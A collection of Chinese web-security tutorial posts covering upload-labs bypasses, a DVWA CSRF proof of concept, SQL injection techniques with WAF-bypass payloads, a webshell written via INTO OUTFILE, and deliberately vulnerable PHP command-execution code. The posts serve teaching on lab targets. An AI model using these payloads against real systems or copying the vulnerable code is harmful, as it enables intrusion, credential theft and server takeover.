比前面的多了一个保存名称没有对上传的文件做判断 move_uploaded_file () 这样一个函数，特性是会忽略到文件末尾的 /.
直接上传 shell.png，抓包，在末尾加上 /.

%00 也可以但是要注意 php 版本

# upload-labs 关卡技巧

upload-labs 是一个使用 php 语言编写的，专门收集渗透测试过程中遇到的各种上传漏洞的靶场。目前一共 19 关，每一关都包含着不同上传方式。具体的每一关的解题方法如下：

Pass-01: 通过禁用 js 插件或修改网页源代码绕过前端检查限制，可以成功上传文件。

Pass-02: 通过修改上传文件的 Content-Type 字段为允许上传的文件类型之一，绕过后端的 MIME 验证，可以成功上传文件。

Pass-03: 通过上传一个以被绕过的黑名单后缀名为文件的方式，绕过后端黑名单验证，可以成功上传文件。

Pass-04: 通过上传一个.htaccess 文件并设置对应的解析规则，可以将上传的文件解析为 php 文件，从而成功上传代码。

Pass-05: 通过上传一个大小写混合的后缀名为文件，绕过后端大小写敏感的验证，可以成功上传文件。

Pass-06: 通过在上传文件的末尾加上空格，绕过后端删除文件末尾空格的验证，可以成功上传文件。

Pass-07: 通过在上传文件的末尾加上一个点，绕过后端删除文件末尾点的验证，可以成功上传文件。

Pass-08: 通过在上传文件的末尾加上::$DATA，绕过后端删除文件字符串的验证，可以成功上传恶意文件。

Pass-09: 通过修改文件后缀名为.php 和.，绕过后端对文件名的验证，可以成功上传文件。

Pass-10: 通过修改文件后缀名为.pphphp，绕过后端的黑名单验证，可以成功上传文件。

Pass-11: 通过在上传的文件被删除之前，快速访问该文件，绕过后端的删除操作，可以成功上传文件。

Pass-12: 通过对上传文件进行 URL 编码，绕过后端对特殊字符的处理，可以成功上传文件。

Pass-13: 通过在图片文件中添加 php 代码，实现文件包含漏洞，成功上传 webshell。

Pass-14: 通过在图片文件头部添加图片文件的文件头，实现文件包含漏洞，成功上传 webshell。

Pass-15: 通过启用 php_exif 扩展，并在图片文件中添加 php 代码，成功上传 webshell。

Pass-16: 通过在图片动态渲染的过程中，找到不被渲染的地方，添加 php 代码，成功上传 webshell。

Pass-17: 通过在文件上传的过程中，使用条件竞争，绕过后端的删除操作，可以成功上传文件。

Pass-18: 通过修改 18 关的 myupload.php 文件并重启靶场，绕过后端的文件保存路径验证，可以成功上传文件。

Pass-19: 通过在上传的文件名末尾添加 /，绕过后端对文件后缀名的验证，可以成功上传文件。

CSRF漏洞

2023-11-05T13:15:07.000Z

# 漏洞原理

CSRF（跨站请求伪造）漏洞是一种 Web 应用程序安全漏洞，它允许攻击者通过利用受害者的已认证会话来执行未经授权的操作。攻击者通常会欺骗受害者执行某个恶意请求，而受害者并不知情。这种攻击通常发生在用户已登录到 Web 应用程序的情况下，攻击者利用受害者的身份来执行操作，如更改密码、发起转账、修改个人资料等。

CSRF 攻击的基本原理是，攻击者构建一个恶意的请求，将其嵌入到一个看似无害的网页中，然后诱使受害者访问该网页。当受害者访问这个页面时，他们的浏览器会自动发送请求到受攻击的 Web 应用程序，以当前已认证的用户身份执行该请求。这就意味着攻击者可以执行一系列未经授权的操作。

# 漏洞攻击

DVWA 演示

更改密码抓取数据包

然后复制为 csrf POC

	<html>
	<body>
	<form action="http://www.dvwa.com/vulnerabilities/csrf/?password_new=1234567&password_conf=1234567&Change=Change" method="GET" name="form1" >
	<input type="hidden" name="password_new" value="1234567"/>
	<input type="hidden" name="password_conf" value="1234567"/>
	<input type="hidden" name="Change" value="Change"/>
	<input type="submit" value="Submit request" />
	</form>
	<script>history.pushState('', '', '/');</script>
	</body>
	</html>

创建一个页面放在自己服务器发布 gyzero.shop/cc.html 页面为下

然后发给受害者如果受害者当前浏览器登陆了 DVWA 点击了此按钮密码就会被更改为 1234567

当前密码为 admin

点击后再登陆

密码已经被更改了

# CSRF 防御

为了防止 CSRF 攻击，开发人员可以采取以下措施：

随机生成令牌：在每个用户会话中生成一个随机的 CSRF 令牌，将其与每个请求一起发送，然后在服务器端验证令牌的有效性。这样，攻击者无法构造有效的 CSRF 请求，因为他们无法获得合法的 CSRF 令牌。
启用 SameSite 属性：Web 开发人员可以使用 Cookie 的 SameSite 属性，以控制 Cookie 是否可以在跨站点请求中发送。通常，将 Cookie 的 SameSite 属性设置为 "Strict" 或 "Lax" 可以有效减轻 CSRF 攻击。
验证请求来源：服务器可以验证请求的来源，确保请求是来自合法的域名，而不是恶意网站。
需要双重身份验证：对于敏感操作，应要求用户进行双重身份验证，以确保用户确认他们的操作。
对敏感操作使用 POST 请求：使用 POST 请求来执行敏感操作，因为 CSRF 攻击通常使用 GET 请求。
定期审查代码：定期审查应用程序的代码，以检查是否存在潜在的 CSRF 漏洞。

CSRF 漏洞可能对 Web 应用程序的安全性构成威胁，因此开发人员应该采取适当的措施来防止它们。同时，用户也应该保持警惕，不要轻易点击或访问不信任的链接，以减少成为 CSRF 攻击的受害者的风险。

sql漏洞

2023-11-02T00:00:22.000Z

对 mysql 不了解的不会语句的去看数据库篇

# mysql 数据库结构

mysql15 以后默认存放一个 infomation_schema 里面这个库里面有很多表重点是这三个表 columns 、tables、schemata 表字段 CHEMA_NAME 记录着库的信息

tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分别记录着库名和表名

columns 存储该用户创建的所有数据库的库名、标名和字段名

查询 admin 库中所有表字段

查询某个库某个表的字段可以这样查询

select * from information_schema.COLUMNS where TABLE_SCHEMA=‘admin’ and

TABLE_NAME=‘admin’

# sql 注入原理

SQL 注入漏洞的产生需要满足以下两个条件  参数用户可控：从前端传给后端的参数内容是用户可以控制的  参数带入数据库查询：传入的参数拼接到 SQL 语句，且带入数据库查询。

当用户传入参数为 1’的时候，在数据库执行如下所示。

	select * from users where id=1' 此 SQL 语句不符合语法规则就会报错。
	You have an error in your SQL syntax; check the manual that corresponds
	to your MySQL server version for the right syntax to use near ''' at line 1
	当用户传入参数为 1 and 1=1 时 select * from users where id=1 and 1=1 因为 1=1 为真
	id=1 也是真 and 两边均为真所以页面会返回 id=1 的结果。如果用户传入参数为 1 and 1=2 时
	因为 1=2 为假 id=1 为真 and 两边有一个为假，所以页面返回与 id=1 不一样的结果。
	由此可以初步判断存在 SQL 注入漏洞，攻击者可以进一步拼接
	id=1 and 1=1
	id=1 and 1=2
	id=1 or 1=1
	id='1' or '1' = '1'
	id="1" or "1" = "1"

判断页面是否不一样，还有无回显的情况输入语句页面没有变化但实际上执行了这种还有延时注入给拼接语句时 sleep 5 看页面是不是 5 秒后显示的

	sql注释符
	# 单行注释 url 编码 %23
	/* / 多行注释 /*/当空格用
	--"空格" 单行注释
	--+ 也可以
	是否存在注入判断注入的类型是什么
	判断字段数 order by
	确定回显点 union select 1,2
	查询数据库信息 @@version @@datadir
	查询用户名，数据库名 user() database()
	文件读取 union select 1,load_file('C:\\wondows\\win.ini')#
	写入 webshell select..into outfile...
	补充一点，使用 sql 注入遇到转义字符串的单引号或者双引号，可使用 HEX 编码绕过

# 注入类型

SQL 注入分类：按 SQLMap 中的分类来看，SQL 注入类型有以下 5 种：

UNION query SQL injection（可联合查询注入）

Stacked queries SQL injection（可多语句查询注入）

堆叠查询 Boolean-based blind SQL injection（布尔型注入）

Error-based SQL injection（报错型注入）

Time-based blind SQL injection（基于时间延迟注入）

# 接受请求类型区分

GET 注入

GET 请求的参数是放在 URL 里的，GET 请求的 URL 传参有长度限制中文需要 URL 编码

POST 注入 POST 请求参数是放在请求 body 里的，长度没有限制

COOKIE 注入 cookie 参数放在请求头信息，提交的时候服务器会从请求头获取

# 注入数据类型的区分

int 整型 select * from users where id=1 sting

字符型 select * from users where username=‘admin’ like

搜索型 select * from news where title like ‘% 标题 %’

# union select 联合注入

1, 判断 http://www.sql.cn/Less-1/?id=1' and 1=1 %23

http://www.sql.cn/Less-1/?id=1' and 1=2 %23

报错存在注入

2, 查字段

	?id=1' order by 1 %23 --返回正常
	?id=1' order by 2 %23 -- 返回正常
	?id=1' order by 3 %23 --返回正常
	?id=1' order by 4 %23 -- 返回错误
	三个字段

利用 union 联合查询收集信息

	?id=-1' union select 1,2,3 %23
	#看哪个字段可以显示信息，利用它获取数据库信息


	获取数据库信息
	?id=-1' union select 1,concat_ws(user(),database(),version(),@@datadir,@@version_compile_os),3 %23
	databaes()
	user() #获取数据库用户名
	version() #获取数据库版本
	@@datadir #获取数据库路径
	@@version_conpile_os #获取操作系统版本
	Your Login name:
	?id=-1' union select 1,database(),3 %23
	security #数据库名
	（5.7.26） #数据库版本
	（root@localhost） #数据库用户名
	（D:\Everyday-tools\phpstudy_pro\Extensions\MySQL5.7.26\data\root@localhost）#数据库路径
	Win64 #操作系统版本
	Your Password:3

	?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1 %23
	#查询单个改变limit 0,1 前面的数即可查询其他表例如 limit 1,1 limit 2,1

	另一种查询全部
	?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
	group_concat #分组查询结果，隔开
	emails,referers,uagents,users

4, 查列名

	?id=-1' union select 1,2,group_concat(column_name ) from information_schema.columns where table_schema=database() and table_name = "users" %23
	Your Login name:2
	Your Password:id,username,password #列名
	?id=-1' union select 1,2,group_concat(username,password ) from users %23
	#查询 users 表里的 username 和 password
	Your Login name:2
	Your Password:DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,
	supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,admin3admin3,
	dhakkandumbo,admin4admin4

# 写 webshell

	三个条件：
	1.具有root权限。
	2.在数据库配置文件中的配置项含有：secure_file_priv=''。
	（注意在数据库中此项默认为secure_file_priv=null）。
	secure_file_prive=null // 限制 mysqld 不允许导入导出
	secure_file_priv=/path/ // 限制 mysqld 的导入导出只能发生在默认的 /path/ 目录下
	secure_file_priv=’’ // 不对 mysqld 的导入导出做限制

	3.知道数据库的绝对路径。
	outfile函数可以导出多行，而dumpfile只能导出一行数据
	outfile函数在将数据写到文件里时有特殊的格式转换，而dumpfile则保持原数据格式

	?id=1' union select 1,"<?php @eval($_POST['cmd']);?>",3 into outfile "D:\\Everyday-tools\\phpstudy_pro\\WWW\\www.sql.cn\\shell8.php" %23

# Boolean 注入

布尔型盲注，页面不返回查询信息的数据，只能通过页面返回信息的真假条件判断是否存在注入.

1, 报错

	判断整数还是字符型
	?id=1'
	判断有没有注入
	?id=1' and 1=2 %23 报错
	判断字段数
	?id=1' order by 1 %23
	?id=1' order by 2 %23
	?id=1' order by 3 %23
	?id=1' order by 4 %23 报错
	字段三个
	爆数据库长度
	length（）返回字符串长度
	如果数据库长度大于等于表达式后面的数就返回正常报错前面的那个数就是数据库长度
	?id=1'%20 and length(database())>=4 %23 正常
	?id=1'%20 and length(database())>=6 %23 正常
	?id=1'%20 and length(database())>=7 %23 正常
	?id=1'%20 and length(database())>=8 %23 正常
	?id=1'%20 and length(database())>=9 %23 报错
	数据库长度9

	爆数据库名
	数据库名的范围一般在a~z、0~9之内，可能还会有特殊字符 "_"、"-" 等，这里的字母不区分大小写。
	定义和用法
	SUBSTR() 函数从字符串中提取子字符串（从任意位置开始）。
	?id=1'%20 and substr(database(),1,1)="a" %23 报错
	?id=1'%20 and substr(database(),1,1)="b" %23 报错
	?id=1'%20 and substr(database(),1,1)="c" %23 报错
	?id=1'%20 and substr(database(),1,1)="s" %23 正常
	第一个字符为s
	?id=1'%20 and substr(database(),2,1)="a" %23 报错
	?id=1'%20 and substr(database(),2,1)="b" %23 报错
	?id=1'%20 and substr(database(),2,1)="c" %23 报错
	?id=1'%20 and substr(database(),2,1)="d" %23 报错
	?id=1'%20 and substr(database(),2,1)="e" %23 正常
	第二个字符为e替换2,1位置的2为3就可以爆破第三个字符以此类推爆出数据库名security

	ASCII码查询
	a 的ASCII码是97，在MySQL中使用ord函数转换ASCII，所以逐字符判断语句可改为：
	ord(substr(database(),1,1))=97 %23
	ASCII码表中可显示字符的范围是：0~127

	爆表名
	-- 修改 1,1 前边的 1~20，逐字符猜解出第一个表的名
	-- 修改 limit 的 0,1 前边的 0~20，逐个猜解每个表
	查询第一个表的第一个字符
	?id=1'%20 and substr((select table_name from information_schema.tables where table_schema="security" limit 0,1 ),1,1)="b" %23
	报错
	?id=1'%20 and substr((select table_name from information_schema.tables where table_schema="security" limit 0,1 ),1,1)="c" %23
	报错
	?id=1'%20 and substr((select table_name from information_schema.tables where table_schema="security" limit 0,1 ),1,1)="e" %23
	正常
	第一个表名emails,接着查第二个
	?id=1'%20 and substr((select table_name from information_schema.tables where table_schema="security" limit 1,1 ),1,1)="e" %23
	报错
	?id=1'%20 and substr((select table_name from information_schema.tables where table_schema="security" limit 1,1 ),1,1)="r" %23
	正常
	以此类推爆破所有表
	emails,referers,uagents,users

	爆字段名
	?id=1'%20 and substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 1,1 ),1,1)="r" %23
	报错
	?id=1'%20 and substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1 ),1,1)="i" %23
	正常
	爆出所有字段名
	id,username.password

	爆数据
	?id=1'%20 and substr((select username from users limit 0,1 ),1,1)="d" %23
	正常
	?id=1'%20 and substr((select username from users limit 0,1 ),2,1)="u" %23
	正常
	以此类推
	可以用burp爆破功能爆破出所有数据
	嫌弃太慢也可以写脚本或者用sqlmap

# 时间盲注

盲注是在 SQL 注入攻击过程中，服务器关闭了错误回显，单纯通过服务器返回内容的变化来判断是否存在 SQL 注入的方式。

可以用 benchmark，sleep 等造成延时效果的函数。

如果 benkchmark 和 sleep 关键字被过滤了，可以让两个非常大的数据表做笛卡尔积 (opens new window) 产生大量的计算从而产生时间延迟；

或者利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟。

1、利用 sleep 判断数据库名长度

	' and sleep(5) and 1=1--+ 页面返回不正常，延时5秒
	' and sleep(5) and 1=2--+ 页面返回不正常，不延时

	and if(length(database())>1,sleep(5),1)
	--if (条件表达式，真，假) --C 语言的三目运算符类似

2、获取数据库名

and if(substr(database(),1,1)='a',sleep(5),1)--+

# 报错注入

在 SQL 注入攻击过程中，服务器开启了错误回显，页面会返回错误信息，利用报错函数获取数据库数据。

常用的 MySQL 报错函数

# updatexml 函数

MySQL 的 UPDATEXML () 函数可以用于修改 XML 类型的数据，它可以更新 XML 数据中的一个或多个节点值。

这个函数的参数有三个：

XML 数据
XPath 表达式：用于指定要修改的节点位置
新的节点值：用于替换当前节点的值

下面是 UPDATEXML () 函数的语法：

	下面是UPDATEXML()函数的语法：

	UPDATEXML(xml_target, xpath_expr, new_val)
	其中，xml_target是要修改的XML类型的数据；xpath_expr是XPath表达式，用
	于指定要修改的节点位置；new_val指定新的节点值。

	示例一：
	假设数据表中有以下的XML类型的数据：

	<book>
	<title>MySQL Basics</title>
	<author>John Doe</author>
	<price>19.99</price>
	</book>
	我们可以使用UPDATEXML()函数来修改一些节点的值：

	UPDATE books
	SET book = UPDATEXML(book, '/book/title', 'Learning MySQL')
	WHERE id = 1;
	上面的语句将会把表中id为1的记录的title节点的值修改为"Learning MySQL"。


	示例二：
	现在有以下的XML类型的数据：

	<root>
	<message>
	<sender>Tom</sender>
	<receiver>Kate</receiver>
	<content>Hello, how are you?</content>
	</message>
	</root>
	我们可以使用UPDATEXML()函数来替换节点的值，比如将消息内容的值替换为新的内容：

	UPDATE messages
	SET msg = UPDATEXML(msg, '/root/message/content', 'I am fine, thank you.')
	WHERE id = 1;
	上面的语句将会把表中id为1的记录的content节点的值修改为"I am fine, thank you."。
	--xpath 语法错误
	extractvalue() -- 查询节点内容
	updatexml() -- 修改查询到的内容
	它们的第二个参数都要求是符合xpath语法的字符串
	如果不满足要求则会报错，并且将查询结果放在报错信息里

	-- 主键重复（duplicate entry）
	floor() -- 返回小于等于该值的最大整数
	只要是count，rand()，group by 三个连用就会造成这种主键重复报错

# 爆数据库

?id=1’%20 and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+

–0x7e 是 "~" 符号的 16 进制，在这作为分隔符

# 爆表

?id=1’%20 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=“security”),0x7e),1)–+

# 爆字段

?id=1’%20 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=“security” and table_name=“users” limit 1,1),0x7e),1) %23

# 爆数据

?id=1’%20 and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 4,1),0x7e),1) %23

# –extractvalue 函数用法

?id=1’%20 and extractvalue(1,concat(0x7e,(select database()),0x7e))–+

–floor()

?id=1’%20 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

# 堆叠注入

堆叠查询：堆叠查询可以执行多条 SQL 语句，语句之间以分号 (;) 隔开，而堆叠查询注入攻击就是利用此特点，在第二条语句中构造要执行攻击的语句。在 mysql 里 mysqli_multi_query 和 mysql_multi_query 这两个函数执行一个或多个针对数据库的查询。多个查询用分号；进行分隔。

但是堆叠查询只能返回第一条查询信息，不返回后面的信息。 select version ();select database () 堆叠注入的危害是很大的可以任意使用增删改查的语句，例如删除数据库修改数据库，添加数据库用户

-1’ union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1) %23

把库里所有的表获取出来，再获取字段 -1’ union select 1,2,(select group_concat (column_name) from information_schema.columns where TABLE_NAME=‘users’ limit 1) %23

知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表直接添加管理员账号即可登录后台

id=-999’;insert into users (id,username,password) values (1000,‘admin999’,‘123456’)–+ 访问 1000 即可访问到刚刚添加的账号

# 二次注入

二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言，二次注入漏洞更难以被发现，但是它却具有与一次注入攻击漏洞相同的攻击威力。二次注入原理二次注入的原理，在第一次进行数据库插入数据的时候，仅仅只是使用了 addslashes 或者是借助

get_magic_quotes_gpc 对其中的特殊字符进行了转义，但是 addslashes 有一个特点就是虽然参数在过滤后会添加 “\” 进行转义，但是 “\” 并不会插入到数据库中，在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次进行需要进行查询的时候，直接从数据库中取出了脏数据，没有进行下一步的检验和处理，这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候，数据中带有单引号，直接插入到了数据库中；然后在下一次使用中在拼凑的过程中，就形成了二次注入.

二次注入图解

现在密码是 admin 999999

修改密码页面

登陆进去

修改密码

修改的是 admin 的密码

登陆 admin 账户输入刚才更改的密码成功登陆

sql注入绕过

2023-11-02T00:00:22.000Z

欢迎观看

# 大小写绕过

将字符串设置为大小写，例如

and 1=1 转成 AND 1=1 AnD 1= 1

select * from users where id=1 UNION SELECT 1,2,3,4

select * from users where id=1 UniON SelECT 1,2,3,4

# [浮点数绕过注入]

select * from users where id=8E0union select 1,2,3,4;

select * from users where id=8.0union select 1,2,3,4

# NULL 值绕过

select \N; \N 代表空

select * from users where id=\Nunion select 1,2,3,\N;

select * from users where id=\Nunion select 1,2,3,\Nfrom users;

# 引号绕过

如果 waf 拦截过滤单引号的时候，可以使用双引号在 mysql 里也可以用双引号作为字符串。

select * from users where id=‘1’;

select * from users where id=“1”;

也可以将字符串转换成 16 进制再进行查询。

select hex(‘admin’);

select * from users where username=‘admin’;

select * from users where username=0x61646D696E;

如果 gpc 开启了，但是注入点是整形也可以用 hex 十六进制进行绕过

select * from users where id=-1 union select 1,2,(select group_concat(column_name) from {.rainbow}information_schema.columns where TABLE_NAME=‘users’ limit 1),4;

select * from users where id=-1 union select 1,2,(select group_concat(column_name) from {.rainbow}information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;

可以看到存在整型注入的时候没有用到单引号所以可以注入

# 添加库名绕过

以下两条查询语句，执行的结果是一致的，但是有些 waf 的拦截规则并不会拦截 [库名].[表名] 这种模式。

select * from users where id=-1 union select 1,2,3,4 from users;

select * from users where id=-1 union select 1,2,3,4 from admin.us

mysql 中也可以添加库名查询表。例如跨库查询 mysql 库里的 usrs 表的内容。 select * from users where id=-1 union select 1,2,3,concat (user,authentication_string) from mysql.user;

# 去重复绕过

在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截

select * from users where id=-1 union distinct select 1,2,3,4 from users;

select * from users where id=-1 union distinct select 1,2,3,version() from users;

# 反引号绕过

在 mysql 可以使用 这里是反引号 绕过一些 waf 拦截。字段可以加反引号或者不加，意义相同。

insert into users(username,password,email)values(‘admin’,‘123456’,‘admin@admin.com’);

insert into users( username , password , email )values(‘admin’,‘123456’,‘admin@admin.com’);

# 脚本语言特性绕过

在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值，不同的语言有不同的特性。可以利用这点绕过一些 waf 的拦截。

id=1%00&id=2 union select 1,2,3

有些 waf 会去匹配第一个 id 参数 1%00 %00 是截断字符，waf 会自动截断从而不会检测后面的内容。到了程序中 id 就是等于 id=2 union select 1,2,3 从绕过注入拦截。其他语言特性

# 逗号绕过

目前有些防注入脚本都会逗号进行拦截，例如常规注入中必须包含逗号

select * from users where id=1 union select 1,2,3,4;

一般会对逗号过滤成空 select * from users where id=1 union select 1 2 3 4; 这样 SQL 语句就会出错。所以可以不使用逗号进行 SQL

# substr 截取字符串

select(substr(database() from 1 for 1));

查询当前库第一个字符查询 m 等于 select (substr (database () from 1 for 1)) 页面返回正常

select * from users where id=1 and ‘m’=(select(substr(database() from 1 for 1)));

可以进一步优化 m 换成 hex 0x6D 这样就避免了单引号

select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));

# [min 截取字符串]

这个 min 函数跟 substr 函数功能相同如果 substr 函数被拦截或者过滤可以使用这个函数代替。

select mid (database () from 1 for 1); 这个方法如上。

select * from users where id=1 and ‘m’=(select(mid(database() from 1 for 1)));

select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));

# 使用 join 绕过

使用 join 自连接两个表 union select 1,2 #等价于 union select * from (select 1) a join (select 2) b a 和 b 分别是表的别名

select * from users where id=-1 union select 1,2,3,4;

select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select 3)c join(select 4)d;

select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select user())c join(select 4)d;

可以看到这里也没有使用逗号，从而绕过 waf

# [like 绕过]

使用 like 模糊查询 select user () like ‘% r%’; 模糊查询成功返回 1 否则返回 0 找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串最后就是要查询的内容，这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截

# limit offset 绕过

SQL 注入时，如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1 返回条一条记录如果对逗号进行拦截时，可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录，这样就绕过 waf

# [or and xor not 绕过]

目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2 id=0 xor 1=1 limit 1 、id=1 xor 1=2 对这些常见的 SQL 注入检测语句进行拦截。像 and 这些还有字符代替字符如下

and 等于 &&

or 等于 ||

not 等于！

xor 等于 |

所以可以转换成这样

id=1 and 1=1 等于 id=1 && 1=1

id=1 and 1=2 等于 id=1 && 1=2

id=1 or 1=1 等于 id=1 || 1=1

id=0 or 1=0 等于 id=0 || 1=0

可以绕过一些 waf 拦截继续对注入点进行安全检测

也可以使用运算符号

id=1 && 2=1+1

id=1 && 2=1-1

# ascii 字符对比绕过

许多 waf 会对 union select 进行拦截而且通常比较变态，那么可以不使用联合查询注入，可以使用字符截取对比法，进行突破。

select substring(user(),1,1);

select * from users where id=1 and substring(user(),1,1)=‘r’;

select * from users where id=1 and ascii(substring(user(),1,1))=114;

最好把’r’换成成 ascii 码如果开启 gpc int 注入就不能用了。可以看到构造得 SQL 攻击语句没有使用联合查询 (union select) 也可以把数据查询出来

# [等号绕过]

如果程序会对 = 进行拦截可以使用 like rlike regexp 或者使用 <或者>

select * from users where id=1 and ascii(substring(user(),1,1))<115;

select * from users where id=1 and ascii(substring(user(),1,1))>115;

select * from users where id=1 and (select substring(user(),1,1)like ‘r%’);

select * from users where id=1 and (select substring(user(),1,1)rlike ‘r’)

select * from users where id=1 and 1=(select user() regexp ‘^r’);

select * from users where id=1 and 1=(select user() regexp ‘^a’);

regexp 后面是正则

# [双关键词绕过]

有些程序会对单词 union、 select 进行转空但是只会转一次这样会留下安全隐患。双关键字绕过（若删除掉第一个匹配的 union 就能绕过）

id=-1’UNIunionONSeLselectECT1,2,3–+ 到数据库里执行会变成 id=-1’UNION SeLECT1,2,3–+ 从而绕过注入

# union select 绕过

目前不少 waf 都会使用都会对 union select 进行拦截单个不拦截一起就进行拦截。

针对单个关键词绕过 sel<>ect 程序过滤 <> 为空脚本处理

sele//ct 程序过滤 // 为空

/!%53eLEct/url 编码与内联注释

se%0blect 使用空格绕过

sele% ct 使用百分号绕过

%53eLEct 编码绕过

大小写

uNIoN sELecT 1,2

union all select 1,2

union DISTINCT select 1,2

null+UNION+SELECT+1,2

/!union//!select/1,2

union//select//1,2

and(select 1)=(Select 0xA1000)/!uNIOn*//!SeLECt/ 1,user()

/!50000union//!50000select/1,2

/!40000union//!40000select/1,2

%0aunion%0aselect 1,2

%250aunion%250aselect 1,2

%09union%09select 1,2

%0caunion%0cselect 1,2

%0daunion%0dselect 1,2

%0baunion%0bselect 1,2

%0d%0aunion%0d%0aselect 1,2

–+%0d%0aunion–+%0d%0aselect–+%0d%0a1,–+%0d%0a2 /!12345union//!12345select/1,2;

/ 中文 /union/ 中文 /select/ 中文 / 1,2;

/* /union/ */select/ */1,2;

/!union//!00000all//!00000select/1,2

# Unicode 编码绕过

形式：“\u” 或者是 “% u” 加上 4 位 16 进制 Unicode 码值。

iis 会自动进行识别这种编码有部分 waf 并不会拦截这这种编码

-1 union select 1,user()

部分转码

-1 uni%u006fn sel%u0065ct 1,user()

全部转码 {.rainbow}% u002d% u0031% u0020% u0075% u006e% u0069% u006f% u006e% u0020% u0073% u0065% u006c% u0065% u0063% u0074% u 0020% u0031% u002c% u0075% u0073% u0065% u0072% u0028% u0029

# url 编码绕过

在 iis 里会自动把 url 编码转换成字符串传到程序中执行。例如 union select 可以转换成 u%6eion s%65lect 94

POST /06/vul/sqli/sqli_id.php

HTTP/1.1 Host: 192.168.0.165

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: {.rainbow}text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 47

Origin: http://192.168.0.165

Connection: close Referer: http://192.168.0.165/06/vul/sqli/sqli_id.php

Cookie: PHPSESSID=hk8r159en71pndlu3jvvphenn5

Upgrade-Insecure-Requests: 1

id=-1 union%25OAselect%25OA1,user()-- &submit=1

命令执行漏洞

2023-11-01T12:51:01.000Z

# 漏洞描述

命令执行漏洞（Command Execution Vulnerability），也被称为代码注入漏洞，是一种常见的安全漏洞类型，它允许攻击者在受影响的应用程序或系统中执行恶意命令。这种漏洞通常发生在那些未能正确验证和过滤用户输入数据的应用程序中，尤其是涉及用户输入的命令执行过程。

攻击者可以利用命令执行漏洞来执行系统命令、操作系统脚本或其他恶意代码，从而获取未授权的访问权限、窃取敏感信息、破坏系统功能，甚至控制整个系统。这种漏洞可能会导致严重的数据泄露、拒绝服务攻击或滥用系统资源。

# 常见函数

导致命令执行漏洞的系统命令执行函数通常是那些允许执行外部系统命令的函数。以下是一些常见的导致命令执行漏洞的函数：

system () 函数 (有回显)： PHP 中的 system () 函数用于执行系统命令，并返回命令的输出。如果用户输入未经适当过滤，攻击者可以通过注入恶意命令来执行任意系统命令。

system($_GET['user_input']);

exec () 函数 (回显最后一行 - 必须 echo 输出)：exec () 函数类似于 system ()，允许执行系统命令，但它返回命令的最后一行输出。同样，不正确处理用户输入可能导致漏洞。

exec($_POST['user_input']);

shell_exec () 函数（无回显）：这个函数用于执行系统命令并返回命令的完整输出。它也容易受到命令执行漏洞的威胁。

	$input = $_REQUEST['user_input'];
	shell_exec("ls $input");

passthru () 函数 (有回显)：passthru () 函数执行系统命令并将命令的输出直接发送到浏览器。如果用户输入未经验证，攻击者可以注入恶意命令来直接影响浏览器输出。

passthru($_GET['user_input']);

backticks (`)：在 PHP 中，反引号（反引号）可以用来执行系统命令。攻击者可以在反引号内插入任意命令。

	$input = $_GET['user_input'];
	$output = `$input`;

proc_open () 函数：这个函数用于创建进程，并可以执行系统命令。

	$descriptorspec = array(
	0 => array("pipe", "r"),
	1 => array("pipe", "w"),
	);
	$process = proc_open($_POST['user_input'], $descriptorspec, $pipes);

eval () 函数：虽然不是专门用于执行系统命令，但 eval () 函数用于执行动态生成的 PHP 代码，因此如果不谨慎使用，也可能导致命令执行漏洞。

	$code = $_POST['user_input'];
	eval($code);

上述函数在处理用户输入时需要特别小心，确保适当的验证和过滤，或者尽量避免使用它们，以减少潜在的命令执行漏洞风险。建议使用参数化命令、白名单验证和安全的输入处理来防止这些漏洞。

# 代码分析

	<?php
	if ($_SERVER['REQUEST_METHOD'] === 'GET') {
	// 从 GET 参数中获取用户提供的命令
	$command = $_GET['cmd'];
	if ($command) {
	// 执行用户提供的命令并获取命令的输出
	$output = shell_exec($command);
	// 将命令的输出显示在页面上
	echo "Command Output:<pre>$output</pre>";
	} else {
	// 如果未提供命令参数，显示提示信息
	echo 'Please provide a command using the "cmd" parameter.';
	}
	}
	?>

这个示例创建一个简单的 PHP 页面，它接受名为 “cmd” 的 GET 参数，并将其用作系统命令的一部分，然后将命令的输出显示在页面上。这种做法是非常危险的，因为用户可以输入任何系统命令，导致潜在的命令执行漏洞。

